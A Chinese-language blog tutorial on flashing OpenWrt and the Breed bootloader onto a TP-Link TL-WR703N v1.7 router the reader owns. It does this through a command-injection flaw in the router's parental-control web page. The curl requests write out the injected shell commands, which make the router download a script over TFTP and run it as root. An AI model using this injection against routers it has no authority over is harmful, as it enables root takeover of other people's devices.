Cubic Zone

给 v1.7 版本的 TL-WR703N 刷 openwrt

从硬件版本 v1.7 起, WR703N 不再支持直接通过 TP-Link 官方 Web 控制台直接刷入 OpenWrt. TP-Link 更改了 U-boot 的代码, 并且禁止了通过官方控制台刷入 OpenWrt 等非官方固件的方式. 因此唯一的刷入方式只剩下拆机后通过串口刷入. 但我们还有一种方式, 那就是通过利用 Web 服务的一些漏洞, 将我们的代码注入到路由器操作系统内并且以 root 权限执行, 从而达到刷机的目的. 刷入 OpenWrt 之后, 我们就可以自己刷入不死 U-Boot, 之后就可以随意折腾了.

基本流程

准备工作 -> 编写脚本 -> 利用漏洞上传并执行 -> 脚本通过 TFTP 下载 busybox 和镜像, 执行 busybox 刷写 kernel 和 rootfs 分区 -> 利用刷入的 OpenWrt 安装 Breed -> 完成

需要准备的文件

步骤

准备工作

  1. 连接路由器的网线接口到电脑, 确认版本与本文是否一致, 并在系统设置中将路由器恢复出厂设置.
  2. busybox-mips 重命名为 busybox
  3. 将电脑 IP 地址设置为静态 (本文中为 192.168.1.9)

分割分区

首先, 利用 dd 将固件 bin 文件分为 kernel 和 rootfs 两个分区

dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i1 bs=1 count=1048576

dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i2 bs=1 skip=1048576

得到 i1 和 i2 两个文件 (可以在这里下载 zip)

编写 shell 脚本

创建一个名为 aa 的文件 (文件名可随意), 写入如下内容:

cd /tmp
tftp -gl i1 192.168.1.9
tftp -gl i2 192.168.1.9
tftp -gl busybox 192.168.1.9
chmod 755 busybox
./busybox dd if=i1 of=/dev/mtdblock1 conv=fsync
./busybox dd if=i2 of=/dev/mtdblock2 conv=fsync
./busybox reboot -f

其中 192.168.1.9 为本机的 IP 地址.
注意: 如果在 Windows 下, 请将编辑器的换行符设置为 Unix 格式 (LF), 或直接下载 aa

设置 TFTP 服务器

现在应该有四个文件: i1, i2, aa, busybox. 将这四个文件放在同一个目录下, 并且启动 TFTP 服务器, 将服务根目录指向这四个文件所在的目录. 具体方法可自行搜索, 这里不再赘述.

利用漏洞上传 shell 并执行

curl -o - -b "tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=true" "http://192.168.1.1/"

curl -o - -b "tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=" --referer "http://192.168.1.1/userRpm/ParentCtrlRpm.htm" "http://192.168.1.1/userRpm/ParentCtrlRpm.htm?ctrl_enable=1&parent_mac_addr=00-00-00-00-00-02&Page=1"

curl -o - -b "tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=" --referer "http://192.168.1.1/userRpm/ParentCtrlRpm.htm?Modify=0&Page=1" "http://192.168.1.1/userRpm/ParentCtrlRpm.htm?child_mac=00-00-00-00-00-01&lan_lists=888&url_comment=test&url_0=;cd%20/tmp;&url_1=;tftp%20-gl%20aa%20192.168.1.9;&url_2=;sh%20aa;&url_3=&url_4=&url_5=&url_6=&url_7=&scheds_lists=255&enable=1&Changed=1&SelIndex=0&Page=1&rule_mode=0&Save=%B1%A3+%B4%E6"

执行第一二句的时候可能会报错误 (curl: (23) Failed writing body), 忽略即可. 第三条命令中, 如果 aa 的文件名和本机的 IP 地址与本文不同, 请自行替换掉对应的文件名 / IP.
执行完第三条命令后, 如果成功, TFTP 服务器会显示路由器正在从服务器中下载文件, 传输完成后路由器的 LED 灯将开始闪烁. 此时千万不要断开路由器的电源, 否则就只能拆机 TTL 刷机了
当 LED 灯停止闪烁后, 打开 http://192.168.1.1 , 应该会看到熟悉的 OpenWrt 登陆界面 在此时由于 U-boot 还未被替换, 恢复出厂设置会导致变砖, 切记不要恢复出厂设置

刷入 Breed

由于原版的 OpenWrt 禁止了对 u-boot 分区的写入, 因此我们首先需要刷入解锁固件 owrt-703n-uboot.bin
通过 LucI 界面登录路由器, 在系统升级中更新固件为解锁版 OpenWrt, 注意不要勾选保存原有设置的选项.
等待刷入完成后, 登陆管理界面并设置密码以开启 SSH.
开启 SSH 后, 使用 WinSCP (或其他软件) 连接到路由器, 将 breed-ar9331-r1163.bin 上传到 /tmp 目录下
然后开始刷入 breed:

cd /tmp

mtd -r write breed-ar9331-r1163.bin u-boot 

刷入完成后会自动重启, 重启完毕后将路由器断电, 按住 Reset 按钮接通电源, 等待 LED 灯开始闪烁, 松开 Reset 进入 http://192.168.1.1 , 应该就可以看到 Breed 的界面了.
进入 Breed 后, 记得将 MAC 地址改回路由器背面所写的 MAC 地址.
最后, 为了安全起见, 建议用 breed 重新刷回原版 OpenWrt 固件, 以防不小心写坏 U-boot 分区.

参考文章

Flashing TP-Link TL-WR703N v1.7 to OpenWrt
找到国外牛人给出的不通过TTL刷openwrt到1.7版本的703n的方法
tplink tl-wr703n v1.7最新固件 免ttl刷openwrt刷breed